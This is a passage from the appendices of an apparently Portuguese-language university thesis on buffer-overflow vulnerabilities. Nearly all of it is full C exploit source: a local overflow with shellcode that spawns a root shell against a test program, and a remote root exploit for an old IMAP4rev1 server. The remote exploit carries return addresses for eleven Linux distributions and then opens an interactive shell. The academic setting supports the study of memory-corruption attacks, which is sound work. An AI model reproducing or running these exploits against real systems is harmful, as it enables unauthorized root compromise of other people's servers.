<http://en.wikipedia.org/wiki/X86_architecture>. Acesso em: 29 out. 2007. 

Page 110: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

110  

APÊNDICES 

 

Apêndice A: exp‐maiusculas.c 

 

#include <stdio.h> 

#include <stdlib.h> 

#include <string.h> 

#include <unistd.h> 

char shellcode[] = 

        "\x31\xdb"                /* xor    %ebx,%ebx   */ 

        "\x31\xc9"                /* xor    %ecx,%ecx   */ 

        "\xb0\x46"                /* mov    $0x46,%al   */ 

        "\xcd\x80"                /* int    $0x80       */ 

        "\x31\xc0"                /* xor    %eax,%eax   */ 

        "\x50"                    /* push   %eax        */ 

        "\x68\x2f\x2f\x73\x68"    /* push   $0x68732f2f */ 

        "\x68\x2f\x62\x69\x6e"    /* push   $0x6e69622f */ 

        "\x89\xe3"                /* mov    %esp,%ebx   */ 

        "\x50"                    /* push   %eax        */ 

        "\x53"                    /* push   %ebx        */ 

        "\x89\xe1"                /* mov    %esp,%ecx   */ 

        "\x31\xd2"                /* xor    %edx,%edx   */ 

        "\xb0\x0b"                /* mov    $0xb,%al    */ 

        "\xcd\x80"                /* int    $0x80       */ 

        "\x31\xdb"                /* xor    %ebx,%ebx   */ 

Page 111: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

111  

        "\xb0\x01"                /* mov    $0x1,%al    */ 

        "\xcd\x80";               /* int    $0x80       */ 

unsigned long get_esp(void) { 

        __asm__("movl %esp, %eax"); 

int main(int argc, char *argv[]) 

        int i; 

        char *buffer, *ptr_buffer, *comando[3]; 

        long ret, *ptr_ret; 

        if(argc != 3) 

        { 

                printf("Uso: %s <buffer> <offset>\n", argv[0]); 

                exit(0); 

        } 

        buffer = malloc(atoi(argv[1])); 

        ret = get_esp() ‐ atoi(argv[2]); 

        ptr_buffer = buffer; 

        ptr_ret = (long *) ptr_buffer; 

        for(i = 0; i < atoi(argv[1]); i += 4) 

                *(ptr_ret++) = ret; 

        for(i = 0; i < (atoi(argv[1]) / 2); i++) 

                buffer[i] = 0x90; 

        ptr_buffer = buffer + ((atoi(argv[1]) / 2) ‐ (strlen(shellcode) / 2)); 

        for(i = 0; i < strlen(shellcode); i++) 

                *(ptr_buffer++) = shellcode[i]; 

        buffer[atoi(argv[1]) ‐ 1] = '\0'; 

        comando[0] = "/tmp/maiusculas"; 

Page 112: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

112  

        comando[1] = buffer; 

        comando[2] = NULL; 

        printf("ret=0x%x\n", ret); 

        execve(comando[0], comando, NULL); 

        return(0); 

 

Apêndice B: dpami.c 

 

/* 

 * Remote root exploit for IMAP4rev1 v12.xxx (c) 2001 

 *             Authors: jpassing and clorets 

 */ 

#include <sys/types.h> 

#include <stdio.h> 

#include <sys/socket.h> 

#include <stdlib.h> 

#include <netdb.h> 

#include <netinet/in.h> 

#include <string.h> 

#include <errno.h> 

#include <sys/time.h> 

#include <sys/types.h> 

#include <unistd.h> 

#define NOP  0x90 

#define OFFSET  0 

Page 113: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

113  

#define TAMANHO  1060 

#define LIMPA(x) bzero(x, sizeof(x)) 

#define LE(sock, x) read(sock, x, sizeof(x)) 

char shellcode[] = 

  "\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07" 

  "\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b" 

  "\x53\x50\x5a\x89\xe1\xb0\x0b\xcd\x80\xe8\xdc\xff" 

  "\xff\xff\x03\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f" 

  "\x69\x64\x3b\x2f\x62\x69\x6e\x2f\x73\x68\x03\x2d" 

  "\x63\x02\x2f\x62\x69\x6e\x2f\x73\x68\x01"; 

usage(char *program) { 

  printf("Usage: %s <host> <user> <pass> <system> [offset]\n\n", program); 

  printf("Avaiable systems:\n\n"); 

  printf("  1. Slackware 4.0 [IMAP4rev1 v12.250]\n"); 

  printf("  2. Slackware 7.0 [IMAP4rev1 v12.261]\n"); 

  printf("  3. Slackware 7.0 (Portuguese) [IMAP4rev1 v12.261]\n"); 

  printf("  4. Slackware 7.1 [IMAP4rev1 v12.264]\n"); 

  printf("  5. RedHat 6.0 (Hedwig) [IMAP4rev1 v12.250]\n"); 

  printf("  6. RedHat 6.1 (Cartman) [IMAP4rev1 v12.250]\n"); 

  printf("  7. RedHat 6.2 (Zoot) [IMAP4rev1 v12.264]\n"); 

  printf("  8. Conectiva 4.0 [IMAP4rev1 v12.250]\n"); 

  printf("  9. Conectiva 4.2 [IMAP4rev1 v12.252]\n"); 

  printf(" 10. Conectiva 5.0 [IMAP4rev1 v12.264]\n"); 

  printf(" 11. Cobalt 5.0 (Pacifica) [IMAP4rev1 v12.250]\n\n"); 

  exit(0); 

main(int argc, char *argv[]) { 

  int offset, sock, maxfd, n, i, host, RET; 

Page 114: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

114  

  fd_set rset; 

  char buffer[TAMANHO], msg[BUFSIZ], buf[BUFSIZ]; 

  long retaddr; 

  struct hostent *he; 

  struct sockaddr_in sin; 

  printf("\nREMOTE EXPLOIT FOR IMAP4rev1 v12.xxx [jpassing and clorets]\n\n"); 

  if(argc < 5) { usage(argv[0]); } 

  if(argc > 6) { usage(argv[0]); } 

  if(atoi(argv[4]) < 1) { usage(argv[0]); } 

  if(atoi(argv[4]) > 11) { usage(argv[0]); } 

  if(!strcmp(*(argv+4), "1")) { 

     RET = 0xbffff5a4; 

     if(argv[5]) { offset = atoi(argv[5]); } else { offset = 300; } 

     printf("Selected system: 1. Slackware 4.0 [IMAP4rev1 v12.250]\n\n"); 

  } 

  if(!strcmp(*(argv+4), "2")) { 

     RET = 0xbffff3ec; 

     if(argv[5]) { offset = atoi(argv[5]); } else { offset = 300; } 

     printf("Selected system: 2. Slackware 7.0 [IMAP4rev1 v12.261]\n\n"); 

  } 

  if(!strcmp(*(argv+4), "3")) { 

     RET = 0xbffff4d0; 

     if(argv[5]) { offset = atoi(argv[5]); } else { offset = 400; } 

     printf("Selected system: 3. Slackware 7.0 (Portuguese) [IMAP4rev1 v12.261]\n\n"); 

  } 

  if(!strcmp(*(argv+4), "4")) { 

     RET = 0xbffff4e0; 

     if(argv[5]) { offset = atoi(argv[5]); } else { offset = 300; } 

Page 115: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

115  

     printf("Selected system: 4. Slackware 7.1 [IMAP4rev1 v12.264]\n\n"); 

  } 

  if(!strcmp(*(argv+4), "5")) { 

     RET = 0xbffff7e4; 

     if(argv[5]) { offset = atoi(argv[5]); } else { offset = 100; } 

     printf("Selected system: 5. RedHat 6.0 (Hedwig) [IMAP4rev1 v12.250]\n\n"); 

  } 

  if(!strcmp(*(argv+4), "6")) { 

     RET = 0xbffff91c; 

     if(argv[5]) { offset = atoi(argv[5]); } else { offset = 500; } 

     printf("Selected system: 6. RedHat 6.1 (Cartman) [IMAP4rev1 v12.250]\n\n"); 

  } 

  if(!strcmp(*(argv+4), "7")) { 

     RET = 0xbffff697; 

     if(argv[5]) { offset = atoi(argv[5]); } else { offset = 0; } 

     printf("Selected system: 7. RedHat 6.2 (Zoot) [IMAP4rev1 v12.264]\n\n"); 

  } 

  if(!strcmp(*(argv+4), "8")) { 

     RET = 0xbffff794; 

     if(argv[5]) { offset = atoi(argv[5]); } else { offset = 1000; } 

     printf("Selected system: 8. Conectiva 4.0 [IMAP4rev1 v12.250]\n\n"); 

  } 

  if(!strcmp(*(argv+4), "9")) { 

     RET = 0xbffff910; 

     if(argv[5]) { offset = atoi(argv[5]); } else { offset = 1000; } 

     printf("Selected system: 9. Conectiva 4.2 [IMAP4rev1 v12.252]\n\n"); 

  } 

  if(!strcmp(*(argv+4), "10")) { 

Page 116: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

116  

     RET = 0xbffff540; 

     if(argv[5]) { offset = atoi(argv[5]); } else { offset = 100; } 

     printf("Selected system: 10. Conectiva 5.0 [IMAP4rev1 v12.264]\n\n"); 

  } 

  if(!strcmp(*(argv+4), "11")) { 

     RET = 0xbffff7e4; 

     if(argv[5]) { offset = atoi(argv[5]); } else { offset = 100; } 

     printf("Selected system: 11. Cobalt 5.0 (Pacifica) [IMAP4rev1 v12.250]\n\n"); 

  } 

  if((he = gethostbyname(argv[1])) == NULL) { 

     printf("Cannot resolve host!\n\n"); 

     exit(0); 

  } 

  host = inet_addr(argv[1]); 

  retaddr = RET ‐ offset; 

  for(i = 0; i < TAMANHO; i += 4) { 

      buffer[i + OFFSET] = (retaddr & 0x000000ff); 

      buffer[i + OFFSET + 1] = (retaddr & 0x0000ff00) >> 8; 

      buffer[i + OFFSET + 2] = (retaddr & 0x00ff0000) >> 16; 

      buffer[i + OFFSET + 3] = (retaddr & 0xff000000) >> 24; 

  } 

  sock = socket(AF_INET, SOCK_STREAM, 0); 

  bcopy(he‐>h_addr, (char *) &sin.sin_addr, he‐>h_length); 

  sin.sin_family = AF_INET; 

  sin.sin_port = htons(143); 

  if(connect(sock, (struct sockaddr *) &sin, sizeof(sin)) == ‐1) { 

     perror("socket()"); 

     printf("\n"); 

Page 117: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

117  

     exit(0); 

  } 

  printf("Connected to %s.\n", argv[1]); 

  printf("Sending overflow...\n\n"); 

  for(i = 0; i < (TAMANHO ‐ strlen(shellcode) ‐ 100); i++) 

  *(buffer + i) = NOP; 

  memcpy(buffer + i, shellcode, strlen(shellcode)); 

  LIMPA(msg); 

  LE(sock, msg); 

  sprintf(msg, "1 login %s %s\n", argv[2], argv[3]); 

  write(sock, msg, strlen(msg)); 

  LIMPA(msg); 

  LE(sock, msg); 

  sprintf(msg, "1 LIST \"\" {1060}\r\n"); 

  write(sock, msg, strlen(msg)); 

  LIMPA(msg); 

  LE(sock, msg); 

  write(sock, buffer, 1060); 

  write(sock, "\r\n", 2); 

  #define maximo(x, y) ((x)>(y)?(x):(y)) 

  for(;;) { 

     FD_SET(fileno(stdin), &rset); 

     FD_SET(sock, &rset); 

     maxfd = maximo(fileno(stdin), sock) + 1; 

     select(maxfd, &rset, NULL, NULL, NULL); 

     if(FD_ISSET(fileno(stdin), &rset)) { 

        bzero(msg, sizeof(msg)); 

        fgets(msg, sizeof(msg) ‐ 2, stdin); 

Page 118: UNIVERSIDADE FEDERAL DE SANTA CATARINA · KB Kilobyte MB Megabyte PC ... A vulnerabilidade em questão é o resultado da tentativa de inserir mais dados ... códigos de softwares

118  

        write(sock, msg, strlen(msg)); 

     } 

     if(FD_ISSET(sock, &rset)) { 

        bzero(buf, sizeof(buf)); 

        if((n = read(sock, buf, sizeof(buf))) == 0) exit(0); 

        if(n < 0) return ‐1; 

        printf("%s", buf); 

     } 

  } 

}